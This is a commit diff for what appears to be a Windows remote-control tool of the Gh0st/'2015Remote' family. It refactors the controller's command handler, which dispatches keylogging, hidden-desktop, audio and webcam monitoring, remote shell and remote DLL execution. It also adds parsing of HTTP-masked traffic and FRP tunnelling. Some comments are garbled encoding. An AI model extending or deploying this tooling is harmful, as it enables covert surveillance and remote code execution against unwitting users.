fix: #182 First command using HTTP protocol
This commit is contained in:
@@ -1009,7 +1009,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
}
|
||||
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
|
||||
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
||||
m_settings = { m, sizeof(void*) == 8, __DATE__, n };
|
||||
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
|
||||
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
|
||||
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
|
||||
std::string str = myMap[n];
|
||||
LVCOLUMN lvColumn;
|
||||
@@ -1037,11 +1038,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
ShowMessage("使用提示", tip);
|
||||
|
||||
#ifdef _WIN64
|
||||
if (!master.empty()) {
|
||||
int use = THIS_CFG.GetInt("frp", "UseFrp");
|
||||
if (use) {
|
||||
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
|
||||
}
|
||||
if (usingFRP) {
|
||||
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -1966,10 +1964,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
}
|
||||
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||
|
||||
// 【L】:主机上下线和授权
|
||||
// 【x】:对话框相关功能
|
||||
switch (cmd)
|
||||
{
|
||||
case TOKEN_GETVERSION: // 获取版本
|
||||
case TOKEN_GETVERSION: // 获取版本【L】
|
||||
{
|
||||
// TODO 维持心跳
|
||||
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
||||
@@ -1983,7 +1982,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
SAFE_DELETE_ARRAY(resp);
|
||||
break;
|
||||
}
|
||||
case CMD_AUTHORIZATION: // 获取授权
|
||||
case CMD_AUTHORIZATION: // 获取授权【L】
|
||||
{
|
||||
int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||
if (n < 100) break;
|
||||
@@ -2024,7 +2023,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
Sleep(20);
|
||||
break;
|
||||
}
|
||||
case CMD_EXECUTE_DLL: // 请求DLL
|
||||
case CMD_EXECUTE_DLL: // 请求DLL(执行代码)【L】
|
||||
{
|
||||
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
|
||||
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
||||
@@ -2038,15 +2037,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
Sleep(20);
|
||||
break;
|
||||
}
|
||||
case COMMAND_PROXY:
|
||||
case COMMAND_PROXY:// 代理映射【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_HEARTBEAT: case 137:
|
||||
case TOKEN_HEARTBEAT: case 137: // 心跳【L】
|
||||
UpdateActiveWindow(ContextObject);
|
||||
break;
|
||||
case SOCKET_DLLLOADER: {// 请求DLL
|
||||
case SOCKET_DLLLOADER: {// 请求DLL【L】
|
||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||||
@@ -2063,95 +2062,95 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
||||
break;
|
||||
}
|
||||
case COMMAND_BYE: // 主机下线
|
||||
case COMMAND_BYE: // 主机下线【L】
|
||||
{
|
||||
CancelIo((HANDLE)ContextObject->sClientSocket);
|
||||
closesocket(ContextObject->sClientSocket);
|
||||
Sleep(10);
|
||||
break;
|
||||
}
|
||||
case TOKEN_DRAWING_BOARD:
|
||||
case TOKEN_DRAWING_BOARD:// 远程画板【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理
|
||||
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面
|
||||
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_SYSINFOLIST: { // 主机管理
|
||||
case TOKEN_SYSINFOLIST: { // 主机管理【x】
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_CHAT_START: { // 远程交谈
|
||||
case TOKEN_CHAT_START: { // 远程交谈【x】
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_DECRYPT: { // 解密数据
|
||||
case TOKEN_DECRYPT: { // 解密数据【x】
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_KEYBOARD_START: {// 键盘记录
|
||||
case TOKEN_KEYBOARD_START: {// 键盘记录【x】
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_LOGIN: // 上线包
|
||||
case TOKEN_LOGIN: // 上线包【L】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_BITMAPINFO: // 远程桌面
|
||||
case TOKEN_BITMAPINFO: // 远程桌面【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_DRIVE_LIST: // 文件管理
|
||||
case TOKEN_DRIVE_LIST: // 文件管理【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_TALK_START: // 发送消息
|
||||
case TOKEN_TALK_START: // 发送消息【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_SHELL_START: // 远程终端
|
||||
case TOKEN_SHELL_START: // 远程终端【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_WSLIST: // 窗口管理
|
||||
case TOKEN_PSLIST: // 进程管理
|
||||
case TOKEN_WSLIST: // 窗口管理【x】
|
||||
case TOKEN_PSLIST: // 进程管理【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_AUDIO_START: // 语音监听
|
||||
case TOKEN_AUDIO_START: // 语音监听【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_REGEDIT: // 注册表管理
|
||||
case TOKEN_REGEDIT: // 注册表管理【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_SERVERLIST: // 服务管理
|
||||
case TOKEN_SERVERLIST: // 服务管理【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头【x】
|
||||
{
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case CMD_PADDING: {
|
||||
case CMD_PADDING: { // 随机填充
|
||||
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -186,16 +186,17 @@ ULONG CBuffer::GetBufferLength() //
|
||||
return len;
|
||||
}
|
||||
|
||||
void CBuffer::Skip(ULONG ulPos) {
|
||||
std::string CBuffer::Skip(ULONG ulPos) {
|
||||
if (ulPos == 0)
|
||||
return;
|
||||
return "";
|
||||
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
std::string ret(m_Base, m_Base + ulPos);
|
||||
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
|
||||
m_Ptr -= ulPos;
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return ret;
|
||||
}
|
||||
|
||||
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
|
||||
|
||||
@@ -86,7 +86,7 @@ public:
|
||||
BYTE GetBYTE(ULONG ulPos);
|
||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
|
||||
ULONG RemoveCompletedBuffer(ULONG ulLength);
|
||||
void Skip(ULONG ulPos);
|
||||
std::string Skip(ULONG ulPos);
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
|
||||
@@ -589,12 +589,8 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
||||
break;
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
||||
#if USING_LZ4
|
||||
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
|
||||
#else
|
||||
unsigned long ulCompressedLength = usingZstd ?
|
||||
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
|
||||
#endif
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
|
||||
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
||||
|
||||
@@ -18,14 +18,7 @@
|
||||
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
#if USING_LZ4
|
||||
#include "lz4/lz4.h"
|
||||
#pragma comment(lib, "lz4/lz4.lib")
|
||||
#define C_FAILED(p) (0 == (p))
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#else // ZSTD
|
||||
// ZSTD
|
||||
#include "zstd/zstd.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
@@ -42,7 +35,6 @@
|
||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
class IOCPServer : public Server
|
||||
@@ -142,12 +134,7 @@ public:
|
||||
m_iocpServer(pIOCPServer),
|
||||
CDialog(nIDTemplate, pParent) {
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockaddr_in);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
m_IPAddress = pContext->GetPeerName().c_str();
|
||||
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
||||
}
|
||||
virtual ~CDialogBase(){}
|
||||
|
||||
@@ -76,7 +76,19 @@ protected:
|
||||
virtual ~HeaderParser() {
|
||||
Reset();
|
||||
}
|
||||
PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
|
||||
std::string getXForwardedFor(const std::string& headers) {
|
||||
const std::string key = "X-Forwarded-For: ";
|
||||
size_t pos = headers.find(key);
|
||||
if (pos == std::string::npos)
|
||||
return "";
|
||||
pos += key.size();
|
||||
size_t end = headers.find("\r\n", pos);
|
||||
if (end == std::string::npos)
|
||||
return "";
|
||||
std::string ip = headers.substr(pos, end - pos);
|
||||
return ip;
|
||||
}
|
||||
PR Parse(CBuffer& buf, int& compressMethod, std::string &peer) {
|
||||
const int MinimumCount = MIN_COMLEN;
|
||||
if (buf.GetBufferLength() < MinimumCount) {
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
@@ -86,10 +98,14 @@ protected:
|
||||
ULONG srcSize = buf.GetBufferLength();
|
||||
PkgMaskType maskType = MaskTypeUnknown;
|
||||
ULONG ret = TryUnMask(src, srcSize, maskType);
|
||||
std::string str = buf.Skip(ret);
|
||||
if (maskType == MaskTypeHTTP) {
|
||||
std::string clientIP = getXForwardedFor(str);
|
||||
if (!clientIP.empty()) peer = clientIP;
|
||||
}
|
||||
if (nullptr == m_Masker) {
|
||||
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
|
||||
}
|
||||
buf.Skip(ret);
|
||||
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
|
||||
|
||||
@@ -62,11 +62,7 @@ BOOL CProxyMapDlg::OnInitDialog()
|
||||
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
|
||||
|
||||
CString strString;
|
||||
sockaddr_in ClientAddress;
|
||||
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
||||
int iClientAddressLength = sizeof(ClientAddress);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
|
||||
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
|
||||
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
|
||||
SetWindowText(strString);
|
||||
|
||||
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
|
||||
|
||||
@@ -5,12 +5,8 @@
|
||||
|
||||
#pragma once
|
||||
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
||||
#define USING_LZ4 0
|
||||
#if !USING_LZ4
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 0
|
||||
#endif
|
||||
|
||||
#ifndef _SECURE_ATL
|
||||
#define _SECURE_ATL 1
|
||||
|
||||
Reference in New Issue
Block a user